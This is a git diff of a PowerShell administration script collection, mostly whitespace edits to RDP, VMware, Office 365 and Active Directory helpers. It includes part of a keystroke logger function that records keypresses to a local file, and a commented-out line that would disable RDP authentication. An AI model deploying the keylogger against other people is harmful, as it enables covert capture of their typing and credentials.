a/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 +++ b/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 @@ -3,28 +3,28 @@ <# .SYNOPSIS The function Set-RDPEnable enable RDP remotely using the registry - + .DESCRIPTION The function Set-RDPEnable enable RDP remotely using the registry - + .PARAMETER ComputerName Specifies the ComputerName - + .EXAMPLE PS C:\> Set-RDPEnable - + .EXAMPLE PS C:\> Set-RDPEnable -ComputerName "DC01" - + .EXAMPLE PS C:\> Set-RDPEnable -ComputerName "DC01","DC02","DC03" - + .NOTES Francois-Xavier Cat www.lazywinadmin.com @lazywinadm #> - + [CmdletBinding()] PARAM ( [String[]]$ComputerName = $env:COMPUTERNAME diff --git a/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 b/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 index 48778fd7..ec9406f2 100644 --- a/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 +++ b/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 @@ -3,28 +3,28 @@ <# .SYNOPSIS The function Set-RemoteDesktop allows you to enable or disable RDP remotely using the registry - + .DESCRIPTION The function Set-RemoteDesktop allows you to enable or disable RDP remotely using the registry - + .PARAMETER ComputerName Specifies the ComputerName - + .EXAMPLE PS C:\> Set-RemoteDesktop -enable $true - + .EXAMPLE PS C:\> Set-RemoteDesktop -ComputerName "DC01" -enable $false - + .EXAMPLE PS C:\> Set-RemoteDesktop -ComputerName "DC01","DC02","DC03" -enable $false - + .NOTES Francois-Xavier Cat www.lazywinadmin.com @lazywinadm #> - + [CmdletBinding()] PARAM ( [String[]]$ComputerName = $env:COMPUTERNAME, @@ -41,7 +41,7 @@ { $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) - + IF ($Enable){$regkey.SetValue("fDenyTSConnections", 0)} ELSE { $regkey.SetValue("fDenyTSConnections", 1)} $regKey.flush() diff --git a/TOOL-Start-KeyLogger/Start-KeyLogger.ps1 b/TOOL-Start-KeyLogger/Start-KeyLogger.ps1 index 82a727a0..b52d7cb4 100644 --- a/TOOL-Start-KeyLogger/Start-KeyLogger.ps1 +++ b/TOOL-Start-KeyLogger/Start-KeyLogger.ps1 @@ -8,7 +8,7 @@ function Start-KeyLogger($Path = "$env:temp\keylogger.txt") Run the function Start-Keylogger to start logging key presses. Once you stop the script by pressing CTRL+C, the collected key presses are displayed - + .NOTES http://powershell.com/cs/blogs/tips/archive/2015/12/09/creating-simple-keylogger.aspx #> @@ -23,47 +23,47 @@ public static extern int MapVirtualKey(uint uCode, int uMapType); [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); '@ - + # load signatures and make members available $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru - + # create output file $null = New-Item -Path $Path -ItemType File -Force - + try { Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red - + # create endless loop. When user presses CTRL+C, finally-block # executes and shows the collected key presses while ($true) { Start-Sleep -Milliseconds 40 - + # scan all ASCII codes above 8 for ($ascii = 9; $ascii -le 254; $ascii++) { # get current key state $state = $API::GetAsyncKeyState($ascii) - + # is key pressed? if ($state -eq -32767) { $null = [console]::CapsLock - + # translate scan code to real code $virtualKey = $API::MapVirtualKey($ascii, 3) - + # get keyboard state for virtual keys $kbstate = New-Object Byte[] 256 $checkkbstate = $API::GetKeyboardState($kbstate) - + # prepare a StringBuilder to receive input key $mychar = New-Object -TypeName System.Text.StringBuilder - + # translate virtual key $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0) - + if ($success) { # add key to logger file diff --git a/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 index 4ac536f7..bd9772db 100644 --- a/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 +++ b/TOOL-Test-RemoteDesktopIsEnabled/Test-RemoteDesktopIsEnabled.ps1 @@ -39,7 +39,7 @@ PARAM( } # Enable Remote Desktop [boolean](Get-WmiObject -Class Win32_TerminalServiceSetting @Splatting).AllowTsConnections - + # Disable requirement that user must be authenticated #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0) | Out-Null } @@ -49,5 +49,5 @@ PARAM( Write-Warning -MEssage $Error[0].Exception.Message } }#FOREACH - + }#Function \ No newline at end of file diff --git a/TOOL-Write-Log/TOOL-Write-Log.ps1 b/TOOL-Write-Log/TOOL-Write-Log.ps1 index ac879b14..259686c1 100644 --- a/TOOL-Write-Log/TOOL-Write-Log.ps1 +++ b/TOOL-Write-Log/TOOL-Write-Log.ps1 @@ -10,7 +10,7 @@ function Write-Log [Parameter()] $Path="", $LogName = "$(Get-Date -f 'yyyyMMdd').log", - + [Parameter(Mandatory=$true)] $Message = "", @@ -24,7 +24,7 @@ function Write-Log IF (-not(Test-Path -Path $(Join-Path -Path $Path -ChildPath $LogName))){ New-Item -Path $(Join-Path -Path $Path -ChildPath $LogName) -ItemType file } - + } PROCESS{ TRY{ diff --git a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 index 0c46cccb..b343ee9e 100644 --- a/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 +++ b/VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 @@ -41,13 +41,13 @@ BEGIN Write-Verbose -Message "BEGIN - Loading Vmware Snapin VMware.VimAutomation.Core..." Add-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction Stop -ErrorVariable ErrorBeginAddPssnapin } - + # Verify VMware Snapin is connected to at least one vcenter IF (-not ($global:DefaultVIServer.count -gt 0)) { Write-Verbose -Message "BEGIN - Currently not connected to a vCenter..." $Vcenter = Read-Host -Prompt "You are not connected to a VMware vCenter, Please enter the FQDN or IP of the vCenter" - + IF ((Read-Host -Prompt "You are currently logged as: $($env:username). Do you want to specify different credential ? (Y/N)") -eq 'Y') { Connect-VIServer -Server $Vcenter -credential (Get-Credential) -ErrorAction Stop -ErrorVariable ErrorBeginConnectViServer @@ -69,7 +69,7 @@ PROCESS TRY { $VMHosts = Get-VMHost -ErrorAction Stop -ErrorVariable ErrorGetVMhost | Where-Object { $_.ConnectionState -eq "Connected" } - + IF ($PSBoundParameters['AllVib']) { Foreach ($CurrentVMhost in $VMHosts) @@ -93,7 +93,7 @@ PROCESS 'InstallDate' = $VIB.InstallDate 'AcceptanceLevel' = $VIB.AcceptanceLevel }#$Prop - + # Output Current Object New-Object PSobject -Property $Prop }#FOREACH @@ -129,7 +129,7 @@ PROCESS 'InstallDate' = $VIB.InstallDate 'AcceptanceLevel' = $VIB.AcceptanceLevel }#$Prop - + # Output Current Object New-Object PSobject -Property $Prop }#FOREACH @@ -165,7 +165,7 @@ PROCESS 'InstallDate' = $VIB.InstallDate 'AcceptanceLevel' = $VIB.AcceptanceLevel }#$Prop - + # Output Current Object New-Object PSobject -Property $Prop }#FOREACH diff --git a/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 b/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 index 809fe18f..22f56f9c 100644 --- a/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 +++ b/VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 @@ -12,16 +12,16 @@ Function Get-VMhostHbaInfo .PARAMETER Username Specify the Username account to use to connect via putty (plink.exe) - + .PARAMETER Password Specify the Username account's password to use to connect via putty (plink.exe) - + .PARAMETER PlinkPath Specify the plink.exe full path. Default is "C:\Program Files (x86)\PuTTY\plink.exe" .EXAMPLE Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword - + HostName : vmhost01.fx.lab HostProduct : VMware ESXi 5.1.0 build-1157734 HbaDevice : vmhba2 @@ -41,7 +41,7 @@ Function Get-VMhostHbaInfo HbaFirmwareVersion : 2.82X4 (ZS2.82X4) HWModel : ProLiant DL365 G5 - + .EXAMPLE Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword -PlinkPath "C:\Program Files (x86)\PuTTY\plink.exe" @@ -66,7 +66,7 @@ Function Get-VMhostHbaInfo .EXAMPLE Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword -Verbose - + VERBOSE: PROCESS - vmhost01.fx.lab - Retrieving General Information ... VERBOSE: 6/10/2014 12:38:51 PM Get-View Started execution VERBOSE: 6/10/2014 12:38:52 PM Get-View Finished execution @@ -91,7 +91,7 @@ Function Get-VMhostHbaInfo VERBOSE: 6/10/2014 12:38:53 PM Get-View Started execution VERBOSE: 6/10/2014 12:38:54 PM Get-View Finished execution VERBOSE: PROCESS - vmhost01.fx.lab - Output Result - + HostName : vmhost01.fx.lab HostProduct : VMware ESXi 5.1.0 build-1157734 HbaDevice : vmhba3 @@ -102,10 +102,10 @@ Function Get-VMhostHbaInfo HWModel : ProLiant DL365 G5 VERBOSE: END - End of Get-VMhostHbaInfo - + .EXAMPLE Get-VMhostHbaInfo -VMhost "vmhost01.fx.lab" -Username root -Password Secr3tP@ssword | Export-CSV HBAInformation.csv - + .INPUTS System.String @@ -115,13 +115,13 @@ Function Get-VMhostHbaInfo .NOTES Twitter: @lazywinadm WWW: lazywinadmin.com - + VERSION HISTORY 1.0 Original version of this script is from vmdude.fr (http://www.vmdude.fr/en/scripts-en/hba-firmware-version/) 2.0 Converted to a reusable function #> - - + + [CmdletBinding()] PARAM ( [Parameter( @@ -150,7 +150,7 @@ Function Get-VMhostHbaInfo Write-Verbose -Message "BEGIN - Loading Vmware Snapin VMware.VimAutomation.Core..." Add-PSSnapin -Name VMware.VimAutomation.Core -ErrorAction Stop -ErrorVariable ErrorBeginAddPssnapin } - + # Verify VMware Snapin is connected to at least one vcenter IF (-not ($global:DefaultVIServer.count -gt 0)) { @@ -160,7 +160,7 @@ Function Get-VMhostHbaInfo } CATCH { - + IF ($ErrorBeginAddPssnapin) { Write-Warning -Message "BEGIN - VMware Snapin VMware.VimAutomation.Core does not seem to be available" @@ -179,7 +179,7 @@ Function Get-VMhostHbaInfo { Write-verbose -Message "PROCESS - $Vmhost - Retrieving General Information ..." $hostsview = Get-View -ViewType HostSystem -Property ("runtime", "name", "config", "hardware") -Filter @{ "Name" = "$VMhost" } -ErrorAction Stop -ErrorVariable ErrorProcessGetView - + IF ($hostsview) { IF ($hostsview.runtime.PowerState -match "poweredOn") @@ -197,8 +197,8 @@ Function Get-VMhostHbaInfo $line.HbaDriver = $hba.driver $line.HbaModel = $hba.model $line.HWModel = $esx.hardware.systemInfo.model - - + + Write-Verbose -Message "PROCESS - $($esx.name) - Retrieving HBA Advance information - checking SSH Service..." IF (((Get-View -ViewType HostSystem -ErrorAction Stop -ErrorVariable ErrorProcessGetViewTypeService -Filter @{ "Name" = $($ESX.name) }).config.service.service |where-object { $_.key -eq 'tsm-ssh' }).running) { @@ -211,7 +211,7 @@ Function Get-VMhostHbaInfo $remoteCommand = "head -8 /proc/scsi/qla*/* | grep -B2 $($hba.device) | grep -i 'firmware version' | head -1 | sed 's/.*Firmware version \(.*\), Driver version.*/\1/'" } $tmpStr = [string]::Format('& "{0}" {1} "{2}"', $PlinkPath, "-ssh " + $Username + "@" + $esx.Name + " -pw $Password", $remoteCommand + ";exit") - + #Running plink.exe $line.HbaFirmwareVersion = Invoke-Expression $tmpStr } @@ -220,7 +220,7 @@ Function Get-VMhostHbaInfo Write-Warning -Message "PROCESS - $($esx.name) - SSH Server is not enabled" $line.HbaFirmwareVersion = "" } - + Write-Verbose -Message "PROCESS - $($esx.name) - Output Result" Write-Output $line }#FOREACH ($hba in ($esx.Config diff --git a/_Profiles/Microsoft.PowerShell_profile.ps1 b/_Profiles/Microsoft.PowerShell_profile.ps1 index 07711264..e45ffbaf 100644 --- a/_Profiles/Microsoft.PowerShell_profile.ps1 +++ b/_Profiles/Microsoft.PowerShell_profile.ps1 @@ -10,15 +10,18 @@ #> ######################### -# Window, Path and Help # +# WINDOWS, PATH, HELP # ######################### -# Set the Path -Set-Location -Path c:\lazywinadmin -# Refresh Help + +# Refresh my local help Start-Job -Name "UpdateHelp" -ScriptBlock { Update-Help -Force } | Out-null -Write-Host "Updating Help in background (Get-Help to check)" -ForegroundColor 'DarkGray' +Write-Host "Updating Help in background (Get-Help to check)" -ForegroundColor Yellow + # Show PS Version and date/time -Write-host "PowerShell Version: $($psversiontable.psversion) - ExecutionPolicy: $(Get-ExecutionPolicy)" -for yellow +Write-host "PowerShell Version: $($psversiontable.psversion) - ExecutionPolicy: $(Get-ExecutionPolicy)" -ForegroundColor yellow + +# Set Path to Github +Set-Location $home\onedrive\scripts\github <# # Check Admin Elevation @@ -39,38 +42,50 @@ else } #> + + ############### -# Credentials # +# CREDENTIALS # ############### ########## -# Module # +# MODULE # ########## + # PSReadLine Import-Module -Name PSReadline -######### -# Alias # -######### +if(Get-Module -name PSReadline) +{ + # Set Shortcuts for History Search + # Start typing, for example "Get-" then press up and down arrow, it'll show all + # commands in my story that started by "Get-" + Set-PSReadlineKeyHandler -Key UpArrow -Function HistorySearchBackward + Set-PSReadlineKeyHandler -Key DownArrow -Function HistorySearchForward +} + + +########### +# ALIASES # +########### Set-Alias -Name npp -Value notepad++.exe Set-Alias -Name np -Value notepad.exe if (Test-Path $env:USERPROFILE\OneDrive){$OneDriveRoot = "$env:USERPROFILE\OneDrive"} + + ############# # Functions # ############# -<# - # This will change the prompt function prompt { #Get-location Write-output "PS [LazyWinAdmin.com]> " } -#> # Get the current script directory function Get-ScriptDirectory @@ -85,6 +100,7 @@ function Get-ScriptDirectory } } +$MyInvocation.MyCommand # DOT Source External Functions $currentpath = Get-ScriptDirectory @@ -102,10 +118,14 @@ $currentpath = Get-ScriptDirectory . (Join-Path -Path $currentpath -ChildPath "\functions\Launch-Office365Admin.ps1") -######### -# Other # -######### +############ +# LEARNING # +############ # Learn something today (show a random cmdlet help and "about" article Get-Command -Module Microsoft*,Cim*,PS*,ISE | Get-Random | Get-Help -ShowWindow -Get-Random -input (Get-Help about*) | Get-Help -ShowWindow \ No newline at end of file +Get-Random -input (Get-Help about*) | Get-Help -ShowWindow + + +# Debugging +# $ErrorView = $Error.CategoryInfo.gettype() \ No newline at end of file diff --git a/_Profiles/functions/connect-office365.ps1 b/_Profiles/functions/connect-office365.ps1 index 99e69029..b2b151eb 100644 --- a/_Profiles/functions/connect-office365.ps1 +++ b/_Profiles/functions/connect-office365.ps1 @@ -9,11 +9,11 @@ load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. .EXAMPLE Connect-Office365 - + This will prompt for your credentials and connect to the Office365 services .EXAMPLE Connect-Office365 -verbose - + This will prompt for your credentials and connect to the Office365 services. Additionally you will see verbose messages on the screen to follow what is happening in the background .NOTE @@ -33,7 +33,7 @@ Write-Verbose -Message "BEGIN - Import module Azure Active Directory" Import-Module -Name MSOnline -ErrorAction Stop -ErrorVariable ErrorBeginIpmoMSOnline } - + IF (-not (Get-Module -Name LyncOnlineConnector -ListAvailable)) { Write-Verbose -Message "BEGIN - Import module Lync Online" @@ -51,7 +51,7 @@ { Write-Warning -Message "BEGIN - Error while importing LyncOnlineConnector module" } - + Write-Warning -Message $error[0].exception.message } } @@ -59,28 +59,28 @@ { TRY { - + # CREDENTIAL Write-Verbose -Message "PROCESS - Ask for Office365 Credential" $O365cred = Get-Credential -ErrorAction Stop -ErrorVariable ErrorCredential - + # AZURE ACTIVE DIRECTORY (MSOnline) Write-Verbose -Message "PROCESS - Connect to Azure Active Directory" Connect-MsolService -Credential $O365cred -ErrorAction Stop -ErrorVariable ErrorConnectMSOL - + # EXCHANGE ONLINE Write-Verbose -Message "PROCESS - Create session to Exchange online" $ExchangeURL = "https://ps.outlook.com/powershell/" $O365PS = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ExchangeURL -Credential $O365cred -Authentication Basic -AllowRedirection -ErrorAction Stop -ErrorVariable ErrorConnectExchange - + Write-Verbose -Message "PROCESS - Open session to Exchange online (Prefix: Cloud)" Import-PSSession -Session $O365PS –Prefix ExchCloud - + # LYNC ONLINE (LyncOnlineConnector) Write-Verbose -Message "PROCESS - Create session to Lync online" $lyncsession = New-CsOnlineSession –Credential $O365cred -ErrorAction Stop -ErrorVariable ErrorConnectExchange Import-PSSession -Session $lyncsession -Prefix LyncCloud - + # SHAREPOINT ONLINE #Connect-SPOService -Url https://contoso-admin.sharepoint.com –credential $O365cred } @@ -103,7 +103,7 @@ { Write-Warning -Message "PROCESS - Error while connecting to Lync Online" } - + Write-Warning -Message $error[0].exception.message } } diff --git a/_Template/Function_Template.ps1 b/_Template/Function_Template.ps1 index e3c77371..5b53e600 100644 --- a/_Template/Function_Template.ps1 +++ b/_Template/Function_Template.ps1 @@ -1,76 +1,64 @@ Function Get-Something { <# - .SYNOPSIS - A brief description of the Get-Something function. - - .DESCRIPTION - A detailed description of the Get-Something function. - - .PARAMETER ComputerName - A description of the ComputerName parameter. - - .PARAMETER Credential - A description of the Credential parameter. - - .EXAMPLE - PS C:\> Get-Something -ComputerName $value1 -Credential $value2 - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm +.SYNOPSIS + A brief description of the Get-Something function. + +.DESCRIPTION + A detailed description of the Get-Something function. + +.PARAMETER ComputerName + A description of the ComputerName parameter. + +.PARAMETER Credential + A description of the Credential parameter. + +.EXAMPLE + Get-Something -ComputerName $value1 -Credential $value2 + +.NOTES + Francois-Xavier Cat + lazywinadmin.github.io + www.lazywinadmin.com + @lazywinadm + + 1.0 | 2016/00/00 | Francois-Xavier Cat + Initial Version #> - PARAM ( - [Alias("CN", "__SERVER", "PSComputerName")] - [String[]]$ComputerName = $env:COMPUTERNAME, - - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty - )#PARAM - BEGIN - { - # GlobalVariables - - # Helper function for Default Verbose/Debug message - function Get-DefaultMessage - { - param ($Message) - Write-Output "[$(Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff')][$((Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name)] $Message" - }#Get-DefaultMessage - - # Handlers - - }#BEGIN - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - Write-Verbose -Message (Get-DefaultMessage -Message $Computer) - TRY - { - IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) - { - IF ($PSBoundParameters['Credential']) - { - - } - # Some Action here - }#IF Test-Connection - } - CATCH - { - - }#CATCH - FINALLY - { - - }#FINALLY - }#FOREACH - }#PROCESS - END - { - Write-Verbose -Message (Get-DefaultMessage -Message "Script Completed") - }#END + PARAM ( + [Alias("CN", "__SERVER", "PSComputerName")] + [String[]]$ComputerName = $env:COMPUTERNAME, + + [Alias("RunAs")] + [System.Management.Automation.Credential()] + [pscredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + )#PARAM + TRY + { + $FunctionName = $MyInvocation.MyCommand.Name + + + $Splatting = @{ + ComputerName = $ComputerName + } + + IF ($PSBoundParameters['Credential']) + { + Write-Verbose -Message "[$FunctionName] Appending Credential" + $Splatting.Credential = $Credential + } + + # MAIN CODE HERE + Write-Verbose -Message "[$FunctionName] Connect to..." + + } + CATCH + { + $PSCmdlet.ThrowTerminatingError($_) + }#CATCH + FINALLY + { + #Some Cleanup tasks + }#FINALLY }#Function \ No newline at end of file diff --git a/_Test/AD-TokenGroups_Test.ps1 b/_Test/AD-TokenGroups_Test.ps1 index 1463fdf1..707af591 100644 --- a/_Test/AD-TokenGroups_Test.ps1 +++ b/_Test/AD-TokenGroups_Test.ps1 @@ -5,17 +5,17 @@ $Search.Filter = "(&((objectclass=user)(samaccountname=$UserSam)))" $Search.FindAll() | ForEach-Object -Process { $Account = $_ $AccountGetDirectory = $Account.GetDirectoryEntry(); - + # Add the properties tokenGroups $AccountGetDirectory.GetInfoEx(@("tokenGroups"), 0) - - + + $($AccountGetDirectory.Get("tokenGroups"))| ForEach-Object -Process { # Create SecurityIdentifier to translate into group name $Principal = New-Object System.Security.Principal.SecurityIdentifier($_, 0) $domainName = [adsi]"LDAP://$($Principal.AccountDomainSid)" - + <# TypeName: System.Security.Principal.SecurityIdentifier diff --git a/_Test/Add-LocalGroupMember.ps1 b/_Test/Add-LocalGroupMember.ps1 index df8be49a..f32d95d2 100644 --- a/_Test/Add-LocalGroupMember.ps1 +++ b/_Test/Add-LocalGroupMember.ps1 @@ -7,11 +7,11 @@ .EXAMPLE .NOTES Add support for local user/group and ad user/group - + New-ADGroup -Name "AdmServer$env:COMPUTERNAME" -GroupScope Global -GroupCategory Security -Path $ouPath $fqdn = $_.DNSRoot ([adsi]"WinNT://./Administrators,group").Add("WinNT://$fqdn/AdmServer$env:COMPUTERNAME") - + #> [cmdletBinding()] Param ( @@ -39,7 +39,7 @@ $DomainResolved = ($SamAccountName -split '\\')[0] $SamAccountName = 'WinNT://', $DomainResolved, '/', $ADResolved -join '' } - + } PROCESS { @@ -48,6 +48,6 @@ } END { - + } } \ No newline at end of file From 5c17a0d603f4b8eaa7ca1f4badcadb21680c4f02 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Wed, 4 Sep 2019 15:45:29 -0700 Subject: [PATCH 145/561] Updater twitter handle --- AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 | 2 +- AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 | 2 +- AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 | 2 +- AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 | 2 +- AD-USER-Get-ADDirectReport/Get-ADDirectReport.ps1 | 2 +- .../AD-USER-Report_Expiring_users.ps1 | 4 ++-- .../Connect-ExchangeOnPremises.ps1 | 2 +- EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 | 2 +- O365-Connect-Office365/Connect-Office365.ps1 | 2 +- .../O365-GROUP-Get-DistributionGroupRecursive.ps1 | 2 +- O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 | 2 +- O365-Update-O365UserUPNSuffix/Update-O365UserUPNSuffix.ps1 | 2 +- .../Add-SCCMGroupDeviceAffinity.ps1 | 2 +- .../Add-SCCMUserDeviceAffinity.ps1 | 2 +- .../Get-SCCMClientCacheInformation.ps1 | 2 +- .../Get-SCCMDeviceCollectionDeployment.ps1 | 2 +- .../Get-SCCMUserCollectionDeployment.ps1 | 2 +- SCCM-New-SCCMDeviceVariable/New-SCCMDeviceVariable.ps1 | 2 +- SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 | 2 +- .../Remove-SCCMUserDeviceAffinity.ps1 | 2 +- .../Add-SCSMReviewActivityReviewer.ps1 | 2 +- .../Get-SCSMIncidentRequestComment.ps1 | 2 +- SCSM-Get-SCSMObjectPrefix/Get-SCSMObjectPrefix.ps1 | 2 +- .../Get-SCSMReviewActivityReviewer.ps1 | 2 +- .../Get-SCSMServiceRequestComment.ps1 | 2 +- .../Get-SCSMWorkItemAffectedCI.ps1 | 2 +- .../Get-SCSMWorkItemAffectedUser.ps1 | 2 +- .../Get-SCSMWorkItemAssignedUser.ps1 | 2 +- .../Get-SCSMWorkItemCreatedByUser.ps1 | 2 +- SCSM-Get-SCSMWorkItemParent/Get-SCSMWorkItemParent.ps1 | 2 +- SCSM-Get-SCSMWorkItemRelatedCI/Get-SCSMWorkItemRelatedCI.ps1 | 2 +- .../Get-SCSMWorkItemRequestOffering.ps1 | 2 +- SCSM-IR-Get-SCSMIRComment/Get-SCSMIRComment.ps1 | 2 +- SCSM-SR-Add-SCSMSRComment/Add-SCSMSRComment.ps1 | 2 +- TOOL-Clean-MacAddress/Clean-MacAddress.ps1 | 2 +- TOOL-ConvertFrom-Base64/ConvertFrom-Base64.ps1 | 2 +- TOOL-ConvertTo-Base64/ConvertTo-Base64.ps1 | 2 +- TOOL-ConvertTo-StringList/ConvertTo-StringList.ps1 | 2 +- TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 | 4 ++-- TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 | 4 ++-- TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 | 2 +- TOOL-Get-HashTableEmptyValue/Get-HashTableEmptyValue.ps1 | 2 +- .../Get-HashTableNotEmptyValue.ps1 | 2 +- TOOL-Get-ISEShortcut/Get-ISEShortcut.ps1 | 2 +- TOOL-Get-ImageInformation/Get-ImageInformation.ps1 | 2 +- TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 | 2 +- TOOL-Get-LocalGroup/Get-LocalGroup.ps1 | 2 +- TOOL-Get-LocalGroupMember/Get-LocalGroupMember.ps1 | 2 +- TOOL-Get-LocalUser/Get-LocalUser.ps1 | 2 +- TOOL-Get-LogFast/Get-LogFast.ps1 | 2 +- .../Get-NetFrameworkTypeAccelerator.ps1 | 2 +- TOOL-Get-NetStat/Get-NetStat.ps1 | 2 +- .../Get-NetworkLevelAuthentication.ps1 | 2 +- .../Get-PSObjectEmptyOrNullProperty.ps1 | 2 +- TOOL-Get-ProcessForeignAddress/Get-ProcessForeignAddress.ps1 | 2 +- TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 | 2 +- TOOL-Get-StringCharCount/Get-StringCharCount.ps1 | 2 +- TOOL-Get-StringLastDigit/Get-StringLastDigit.ps1 | 2 +- TOOL-Get-Uptime/Get-Uptime.ps1 | 4 ++-- TOOL-New-CimSmartSession/New-CimSmartSession.ps1 | 2 +- TOOL-New-DjoinFile/New-DjoinFile.ps1 | 2 +- TOOL-New-RandomPassword/New-RandomPassword.ps1 | 2 +- TOOL-New-ScriptMessage/New-ScriptMessage.ps1 | 2 +- .../Remove-HashTableEmptyValue.ps1 | 2 +- .../Remove-PSObjectEmptyOrNullProperty.ps1 | 2 +- TOOL-Remove-PSObjectProperty/Remove-PSObjectProperty.ps1 | 2 +- TOOL-Remove-StringDiacritic/Remove-StringDiacritic.ps1 | 2 +- .../Remove-StringLatinCharacter.ps1 | 2 +- .../Remove-StringSpecialCharacter.ps1 | 2 +- TOOL-Resolve-ShortURL/Resolve-ShortURL.ps1 | 2 +- TOOL-Send-Email/TOOL-Send-Email.ps1 | 2 +- .../Set-NetworkLevelAuthentication.ps1 | 2 +- TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 | 2 +- TOOL-Set-RDPDisable/Set-RDPDisable.ps1 | 2 +- TOOL-Set-RDPEnable/Set-RDPEnable.ps1 | 2 +- TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 | 2 +- TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 | 2 +- .../Test-RemoteDesktopIsEnabled.ps1 | 2 +- VMWARE-HOST-List_VIB/VMWARE-HOST-List_VIB.ps1 | 2 +- VMware-STORAGE-Get-VMhostHbaInfo/Get-VMhostHbaInfo.ps1 | 2 +- _Profiles/Microsoft.PowerShell_profile.ps1 | 2 +- _Profiles/functions/connect-office365.ps1 | 2 +- _Template/Function_Template.ps1 | 2 +- 83 files changed, 87 insertions(+), 87 deletions(-) diff --git a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 index 0824c98f..d387ee86 100644 --- a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 +++ b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 @@ -14,7 +14,7 @@ .NOTES Francois-Xavier Cat www.lazywinadmin.com - @lazywinadm + @lazywinadmin github.com/lazywinadmin 1.0 | 2016/00/00 | Francois-Xavier Cat diff --git a/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 b/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 index bce2205e..b07805a6 100644 --- a/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 +++ b/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 @@ -15,7 +15,7 @@ Get-ADGPOReplication -All .NOTES Francois-Xavier Cat - @lazywinadm + @lazywinadmin lazywinadmin.com VERSION HISTORY diff --git a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 index 588dcacf..aec9de27 100644 --- a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 +++ b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 @@ -114,7 +114,7 @@ AUTHOR: Francois-Xavier Cat EMAIL: info@lazywinadmin.com WWW: www.lazywinadmin - Twitter:@lazywinadm + Twitter:@lazywinadmin REQUIREMENTS: -Read Permission in Active Directory on the monitored groups diff --git a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 